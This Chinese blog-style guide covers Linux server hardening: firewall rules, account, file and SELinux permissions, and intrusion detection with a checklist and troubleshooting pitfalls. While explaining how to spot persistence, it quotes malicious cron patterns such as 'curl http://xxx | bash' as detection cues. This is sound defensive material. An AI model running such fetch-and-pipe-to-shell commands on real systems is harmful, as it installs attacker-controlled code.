
我做过几年Linux系统的安全加固半夜被叫起来处理入侵告警是常有的事。印象最深的一次是一台上线不到一周就被拿去挖矿的服务器翻/var/log/secure满屏都是SSH暴力破解失败的记录而成功登录的那条用户名是root密码是Password123。后来清理完现场我给团队定了一条规矩任何机器上线先按最小权限和最小暴露面做完系统安全加固再开放业务。这篇东西就是我长期在用的整套安全基线按防火墙、权限管理、入侵检测三个板块讲透适合刚接手服务器运维的新人也适合机器已经被扫过、想系统补一遍的同学参考。1. 为什么默认安装的Linux系统谈不上“安全”攻击面在哪1.1 “装完就能上网”不等于“装完就安全”大多数发行版刚安装完默认安全策略其实没有你想得那么严。SSH服务监听22端口、root账号可以直接登录、密码策略基本靠自觉、防火墙虽然有firewalld在跑但很多场景的默认zone是public目标策略是ACCEPT。换句话说除了系统自带的少数服务没开对外部流量几乎是“来者不拒”。我见过不少线上机器业务端口没开但22端口直通公网密码还是运维同事的生日加一个简单后缀。这种机器被扫描器盯上基本就是时间问题。为什么会这样因为安装系统的默认目标往往是“能用、好用”不是“安全”。建站、调服务、跑业务的时候每一步都在向外暴露端口没有人在安装阶段就替你考虑攻击面收敛。所以“系统安全加固”这个动作本质是把一台机器从“默认开放”状态调到“默认拒绝、按需放行”状态把不该出现的外部访问路径一条条关掉。这不是可有可无的洁癖而是上线前的基础卫生。1.2 站在攻击者视角看你的机器要做加固先别急着背命令试着站在攻击者角度审视一遍这台机器这台机器有哪些对外暴露的端口每个端口对应的服务有没有公开漏洞是否有默认口令或弱口令哪些用户能登录普通用户拿到shell之后能不能执行sudo敏感文件有没有错误的写权限有没有setuid位被滥用日志和审计够不够发现异常这些问题如果你回答不上来攻击者往往替你想得很清楚。之前一次应急我排查一台被植入挖矿程序的机器对方倒是没怎么刻意隐藏就是利用一个常见弱口令直接登录成功然后写定时任务拉取恶意脚本再把/tmp下面放了个可执行文件全程不超过十分钟。整个过程下来这台机器上既没有防火墙限制来源也没有做文件完整性校验审计日志默认也没开。你说它该不该被加固该但等出事才补就晚了。我把常见的攻击面整理成了一张表排查时对着看即可攻击面常见弱项后果SSH远程管理22端口直通公网、root可登、弱口令被暴力破解、直接控制机器业务服务Web中间件漏洞、数据库端口暴露数据泄露、被植入后门系统账号多余账号、空密码、sudo过度授权横向移动、提权文件权限SUID滥用、目录可写、属性未锁权限提升、篡改文件检测能力日志未开、无完整性基线入侵后长期驻留不被发现纵深防御的思路是即使某一层被突破后面还有另一层兜底。防火墙挡掉一批扫描流量权限管理让拿到普通用户权限的人没法直接提权文件与进程审计让已经发生的入侵可以被发现和溯源。这三层不是选择题是叠着用的下文按这个顺序展开。2. 第一道防线把防火墙策略从“宽进严出”改成“默认拒绝”2.1 先分清 iptables、firewalld、nftables很多人一说Linux防火墙就只知道iptables但在新发行版上直接敲iptables命令可能改的是兼容层并不一定是你以为的那套规则。简单理一下关系nftables是内核里新一代的网络包分类框架iptables是老的框架和配套命令firewalld是一个动态管理工具底层在CentOS/RHEL 8以前走iptables之后走nftables但它自己维护了zone和service的概念。所以排查问题第一步先确认你这台机器实际用的是哪一层。我在CentOS 7时代养成的习惯是用firewall-cmd管理规则很少直接动iptables避免两边状态不同步。到Rocky/Alma/RHEL 9这些新系统上底层已经是nftables但firewall-cmd的操作习惯还是一样。如果你接手的是Debian系列新版本默认可能用的也是nftables规则文件在/etc/nftables.conf。不管底层怎么变思路一致明确接口、来源、目的端口然后决定放行还是丢弃。排查时iptables -L -n -v看出来的结果和nft list ruleset可能格式完全不同别拿老命令的输出硬套新系统。2.2 白名单思维默认拒绝局部放行配置防火墙最忌讳“黑名单思维”——只封已知几个坏IP其他全放行。公网IP那么多扫描器的源地址随时在变你永远封不完。正确思路是白名单默认拒绝所有入站然后只放行业务明确需要的端口并且尽可能限制来源IP。以SSH为例如果管理网段固定那就只放行管理网段访问22端口即使改了高位端口也要在规则里限制来源。数据库、Redis、ES这类服务更不该默认拒绝之外有任何例外必须绑定内网网段甚至只允许特定业务机访问。用firewalld操作时我一般这样组织规则先看当前zonefirewall-cmd --get-active-zones再添加服务或端口firewall-cmd --permanent --add-servicehttp、firewall-cmd --permanent --add-port8080/tcp需要精确控源IP的用rich rule例如firewall-cmd --permanent --add-rich-rulerule familyipv4 source address192.168.10.0/24 port protocoltcp port22 accept firewall-cmd --permanent --add-rich-rulerule familyipv4 source address203.0.113.77 drop firewall-cmd --reload这里第一行只允许内网段SSH第二行封禁一个已知扫描源第三行让永久配置生效。临时想封一个IP又不想写进持久化配置把--permanent去掉直接执行即可。需要把当前运行时规则固化成永久配置时用firewall-cmd --runtime-to-permanent。这是个容易被忽略的操作很多老手也在这上面吃过亏。2.3 传统 iptables 规则与 nftables 的落地某些遗留系统还在用传统的iptables。这种场景我的原则是先确认好“逃生窗口”。比如在远端改默认策略前先给自己当前管理IP插一条白名单iptables -I INPUT 1 -s 203.0.113.88 -j ACCEPT iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -p tcp --dport 22 -s 192.168.10.0/24 -j ACCEPT iptables -P INPUT DROP第一条是保命规则在设置默认DROP之前先把当前这台能连上的机器IP放行第二条放行已建立的连接避免TCP连接瞬间被切断第三条放行管理网段的SSH最后才把默认策略改成DROP。顺序很关键规则按链内顺序匹配默认DROP一旦放到最前面后面所有放行规则都白写了。持久化用iptables-save /etc/sysconfig/iptables或者按发行版装iptables-persistent。新系统上如果直接用nftables规则集类似这样nft add table inet filter nft add chain inet filter input { type filter hook input priority 0; policy drop; } nft add rule inet filter input ct state established,related accept nft add rule inet filter input tcp dport 22 ip saddr 192.168.10.0/24 accept nft add rule inet filter input iif lo accept nft list ruleset这里要补充一点我在生产环境里推荐优先用发行版自己的管理工具firewalld或ufw因为规则持久化、zone切换这些事它都替你处理好了。裸写nftables虽然灵活但语法对新手不友好规则一多容易把自己绕晕。防火墙不只是几条命令它是一个持续维护的策略集越简单清晰越不容易出错。2.4 防火墙层能防什么、不能防什么防火墙能挡掉扫描、暴力破解、未授权端口访问这些“外来的”流量但它管不了已经进来的攻击比如Web应用被日穿、运维账号被钓鱼、内网横向渗透。所以防火墙规则不是越复杂越好也不是配完就完事。我的习惯是每季度把firewall-cmd --list-all或iptables -L -n -v导出一次和上一轮基线比对看有没有多出来不该有的放行规则。发现新增端口而没人能说明用途时直接按变更流程确认、回滚。防火墙的维护比配置更重要。3. 权限管理用户、文件、SELinux三层堵住内部风险3.1 用户与账号先清掉不该存在的人和过度特权权限管理第一件事不是调文件权限而是清账号。攻击者拿到一台机器后最常见的持久化手段之一就是新建一个看起来像系统账号的用户或者把某个普通用户的UID改成0。所以检查账户时我固定跑这几条awk -F: $30{print $1} /etc/passwd awk -F: ($2){print $1} /etc/shadow grep -vE nologin|false|sync|shutdown|halt /etc/passwd第一行找出所有UID为0的用户正常情况应该只有root第二行查空密码账户第三行列出现有实际登录能力的账号。发现可疑账号先别急着userdel我在应急中吃过亏有些业务脚本用了一个看起来像僵尸的账号删完第二天业务告警。稳妥做法是先用passwd -l锁定观察一段时间确认没有业务依赖再userdel -r清理。sudo权限是另一个高发区。很多团队图省事给开发账号直接配NOPASSWD: ALL等于人手一把root钥匙。我的主张是能不给就不给必须给时按命令粒度收窄deploy ALL(ALL) NOPASSWD: /usr/bin/systemctl restart nginx, /usr/bin/systemctl reload nginx这样即便deploy账号被攻破攻击者也只能重启和重载Nginx拿不到shell更改不了系统配置。同时把sudo日志打开Defaults logfile/var/log/sudo.log Defaults log_input, log_output日志会记录谁在什么时间用了什么命令这在事件溯源时非常有用。密码策略方面至少在/etc/login.defs里把PASS_MAX_DAYS设成90、PASS_MIN_LEN设成12再在PAM的pwquality配置里限制密码复杂度。不要太迷信把复杂度拉到顶就能防住一切但至少让爆破成本高一点让复用口令的风险传导慢一点。3.2 文件权限SUID、粘滞位、ACL与chattr文件权限的坑比用户账号更隐蔽。Linux的权限体系里普通用户执行setuid程序时会以该文件属主的身份运行。如果系统里出现一个属主是root、挂在/tmp或/var/tmp下的SUID可执行文件基本可以判定是后门或提权工具。排查命令find / -xdev -type f -perm /6000 -print 2/dev/null正常系统里SUID文件数量有限且大多在/usr/bin、/usr/sbin下。如果看到/tmp/test、/dev/shm/xx这类路径别犹豫先chmod -s去掉特殊位再分析样本。粘滞位相对友好/tmp和/var/tmp应该保持1777权限这样任何人都能建文件但不能删别人的文件。你可以用stat /tmp确认。ACL用于“独立授权”的场景。比如要给deploy用户只读某个日志目录但又不想改属组setfacl -m u:deploy:r /var/log/app/比直接chmod 777安全得多。ACL规则用getfacl查看删除用-x。还有一个更硬核的属性层chattr。chattr i /etc/passwd之后连root都不能改这个文件能非常有效地防篡改chattr a只允许追加适合防日志被清空。这是人见人爱的加固手段但也是我踩坑最多的点后面专门讲。3.3 让SELinux真正帮上忙而不是一关了之一提到SELinux大量文档的第一建议是“先关掉麻烦”。我不太认同。SELinux的作用不是阻止你配置服务而是在DAC之上加一层MAC限制即使进程以root身份运行也只能访问被允许的目录和端口。换句话说就算WebShell拿到了进程权限想读/etc/shadow、连接数据库端口也会被SELinux拦一道。这是非常值钱的纵深防御。新机器上我会这样用先保持getenforce结果是Enforcing或至少Permissive。如果是Permissive访问不会被真正拦截但/var/log/audit/audit.log里会留下should-have-been-denied记录观察一段时间把常见的AVC denial梳理一遍再切回Enforcing。文件上下文标签乱了导致的业务异常最常见的修复是restorecon -Rv /var/www/html这类命令把标签恢复非标准端口需要放行时用semanage port -a -t http_port_t -p tcp 8081。这里不展开每个服务的标签细节但要记住SELinux报错永远有日志先看ausearch -m avc -ts recent不要一上来就setenforce 0。权限管理这章比命令更重要的是“最小权限”这四个字在每个层面的落实。4. 入侵检测从异常登录、Rootkit到文件完整性的排查链路4.1 异常登录排查先把SSH日志翻个底朝天入侵检测不等于装个大而全的“入侵检测系统”面板很多时候一台被攻破的机器问题在SSH登录链路就能看出苗头。排查第一件事是看谁登录过、从哪来、什么时候last -20 lastb -20 | head -20 who先看正常登录历史再看失败登录历史。失败登录爆破记录集中在/var/log/secureRHEL系列或/var/log/auth.logDebian/Ubuntu也可以journalctl -u sshd统一查。统计暴力破解源IPRHEL上可以这样提取grep Failed password /var/log/secure | awk {print $(NF-3)} | sort | uniq -c | sort -nr | head -20字段位置不同发行版可能有差异思路是一样的抓源IP聚合成Top列表。看到某个IP尝试了几千次不用怀疑这就是扫描器。更关键的是看成功的登录记录grep Accepted password /var/log/secure | tail -50 grep Accepted publickey /var/log/secure | tail -50密码登录成功如果来自未知IP基本可以认定失陷公钥登录成功同样。发现异常登录后我会立刻执行passwd -l可疑账号、删除未知公钥、检查~/.ssh/authorized_keys有没有多出来的内容再按后续章节排查其他驻留点。4.2 计划任务、启动项与隐藏进程找驻留点攻击者登录成功不等于完事他需要在系统里留下“第二次进来的通道”。常见驻留点就几个计划任务、systemd服务、shell启动文件、/etc/ld.so.preload、环境变量。排查计划任务时crontab -l只查当前用户还要看这些位置ls -la /etc/crontab /etc/cron.d /etc/cron.daily /etc/cron.hourly 2/dev/null ls -la /var/spool/cron/ systemctl list-timers --all | head -30/etc/crontab和/etc/cron.d里如果出现类似curl http://xxx | bash、wget -O /tmp/xxx、/tmp/xxx的条目基本可以判定是矿机或远控脚本。启动项同样要过一遍systemctl list-unit-files --typeservice --stateenabled重点找最近创建的服务文件ls -lt /etc/systemd/system/ | head。进程侧排查我先按CPU排序找异常ps aux --sort-%cpu | head -15 ss -antp | grep ESTABss -antp是排查外联后门的利器找出发起连接但业务上说不通的进程。有些Rootkit会隐藏进程ps里看不到常规工具也不好发现。这时候可以用unhide proc辅助或者对比ls /proc | grep -E ^[0-9]$和ps -e | awk {print $1}的进程号差异。被入侵的机器上/tmp、/var/tmp、/dev/shm下面突然多出的可执行文件本身就是一个强信号我每次都会重点看一眼。4.3 文件完整性校验与auditd审计让改动留痕入侵者通常会修改文件、植入后门如果系统里提前做了文件基线事后排查会省很多事。文件完整性用AIDE很直接安装后在系统干净状态执行aideinit生成基线库/var/lib/aide/aide.db.gz之后定期aide --check。这个工具原理很朴素对指定目录生成哈希和属性指纹之后比对差异任何未经预期的修改都会报警。注意两点基线库本身要放在安全位置并且/etc/aide.conf里要确认覆盖了/etc、/usr/sbin、/bin这些关键路径。更细粒度的审计用auditd。我在生产上最常用的是两条规则auditctl -w /etc/passwd -p wa -k passwd_watch auditctl -a always,exit -F archb64 -S execve -k exec_watch第一条记录谁改了passwd文件第二条记录所有命令执行。查询时用ausearch -k passwd_watch -ts recent -i比较直观。注意审计规则的持久化auditctl加的规则重启后会失效要写进/etc/audit/rules.d/下的规则文件或者用auditctl -R载入。规则不是越多越好全量审计会产生海量日志我见过的坑是默认配置没过多久把磁盘写满所以一定在/etc/audit/auditd.conf里配置max_log_file和space_left_action。4.4 辅助工具rkhunter、chkrootkit与自适应检测思路Rootkit检测我习惯两个工具配合rkhunter --check和chkrootkit -q。rkhunter还会检查系统命令是否被替换、网络端口是否异常扫描前先rkhunter --update升级特征库。这类工具最大的问题是误报尤其是系统更新或自定义脚本后经常报“文件已被修改”的警告。我的处理方式是把合理的改动加入whitelist而不是盲目删文件或无视告警。手动确认无问题后在/etc/rkhunter.conf中按提示放行。现在很多企业环境谈“自适应入侵检测”本质上已经不是单一工具而是一套“资产基线与行为基线”的思路先把开放端口、账户列表、计划任务、关键文件哈希做成基线再通过周期性对比发现偏离。开源的做法可以很朴素用一个只读脚本定时生成基线快照diff出变化后推送告警。它不像商业主机安全Agent那样能做自动隔离但已经把“被动了才知道”变成了“变化了就知道”。安全建设没有一步到位的银弹能从日志和文件层面感知异常已经赢过大多数默认裸奔的机器。4.5 确认失陷后的处置顺序一旦确认失陷最忌讳的是立刻关机重启。内存里的进程、网络连接、临时文件都是证据一重启全没了。我的顺序是先通过防火墙规则把失陷主机的对外连接掐掉或者视业务紧急程度拔网线然后立即导出/var/log、审计日志、authorized_keys、计划任务列表、进程快照最后才考虑隔离和重装。应急不是为了证明自己厉害是为了把损失范围说清楚、把入侵路径找出来、把同类问题在其它机器上堵住。5. 加固是持续动作巡检清单与高频踩坑记录5.1 一张可以贴墙上的巡检清单我根据自己的习惯整理了一张表按周期拆开避免一次性检查太多导致偷懒周期检查项核心命令异常判断每日SSH登录失败次数grep Failed /var/log/secure | wc -l短时间内暴力尝试明显激增每日公网监听端口ss -tlnp出现未登记的新端口每日CPU/进程ps aux --sort-%cpu | head陌生进程占用过高每日审计/系统磁盘df -h /var/log /var/log/audit日志分区接近满每周用户与UID0awk -F: $30 /etc/passwd除root外出现UID 0每周sudoers内容visudo -c后审查出现ALL(ALL) ALL等过度授权每周计划任务见4.2的命令出现下载执行脚本条目每周SUID文件find / -xdev -type f -perm /6000在/tmp等目录出现SUID每月文件完整性aide --check关键路径哈希变化且无变更记录每月Rootkit扫描rkhunter --check告警项未排除每月防火墙规则firewall-cmd --list-all与基线不一致这张表不一定适合每个人但建议把“账号、端口、计划任务、SUID、文件完整性”这五个维度固定下来。我用一个简单cron脚本每天跑一部分、每周跑全量输出到/var/log/security-audit/再配合告警脚本推送比纯手动打卡靠谱得多。5.2 加固过程中真实踩过的坑与修复方案第一坑远程设置默认DROP直接断连。我早期在一台线上机器执行iptables -P INPUT DROP结果忘了先把当前管理IP放进白名单命令一敲SSH立刻断开。幸好那台机器有带外管理口我通过控制台连进去才救回来。此后凡是涉及防火墙默认策略的操作我必先做两件事确认有带外通道或者在当前会话前置一条-I INPUT 1 -s 当前IP -j ACCEPT。这是保命习惯。第二坑SELinux开启后Nginx直接403。新装环境默认Enforcing部署Nginx后发现页面访问403第一反应可能是目录权限或owner问题查了一圈都不是最后ausearch -m avc -ts recent才看到是/var/www/html的上下文标签不对。修复方式很简单restorecon -Rv /var/www/html。如果你改了Nginx的目录路径还要用semanage fcontext -a添加新策略。SELinux不是玄学日志都在别一上来就关。第三坑chattr i卡住日常运维。我给/etc/passwd、/etc/shadow加了i之后下次用useradd创建用户直接报错查了才发现是文件属性只读导致。后来我改成a能防篡改但保留追加能力遇到正常的用户管理操作先chattr -a再改改完再恢复。关键文件用属性锁之前一定要确认业务和相关工具确实不需要改写它。第四坑fail2ban把自己封了。公司出口IP不固定某天突然发现自己SSH连不上去fail2ban-client status sshd一看自己的出口IP在Banned列表里。原因是IP池被别的机器暴力破解连带命中。处理办法是把公司出口IP段写进ignoreip同时把maxretry和bantime按实际登录频率调合理别设成“错一次封一年”。第五坑auditd规则不加磁盘上限。我有一段时间为了追踪可疑命令加了全量execve审计结果/var/log/audit几天就把系统盘写满业务全部拉垮。现在我在/etc/audit/auditd.conf里固定max_log_file 1024、space_left_action email并且用日志轮转定期清理。审计是双刃剑规则要按需容量要规划。第六坑sshd_config改错导致远程进不去。修改SSH配置前我会先开一个tmux窗口或者保持一个已连接会话不退出然后在原终端执行sshd -t验证语法再systemctl restart sshd。万一配置有问题已连接会话还在还能改回来如果当前会话都断了只能寄希望于带外管理。另外很多发行版修改配置后不reload不会生效容易让人误以为没改对记得区分restart和reload。5.3 给新手的三个实操习惯第一日常操作永远不要用root能用普通账号加sudo解决的就别切root。这既防止手滑也减少root凭证在会话里出现的频率。第二任何一次加固操作先想“如果我做错了怎么回滚”。改防火墙、改SSH、加文件属性都先确认带外通道或已有连接窗口再动手。第三把每次变更记录下来哪怕只是简单的Markdown清单也行。几个月后再看防火墙规则、sudoers、AIDE基线没有记录的变更会非常难溯源。这三个习惯的成本很低带来的安全感很高。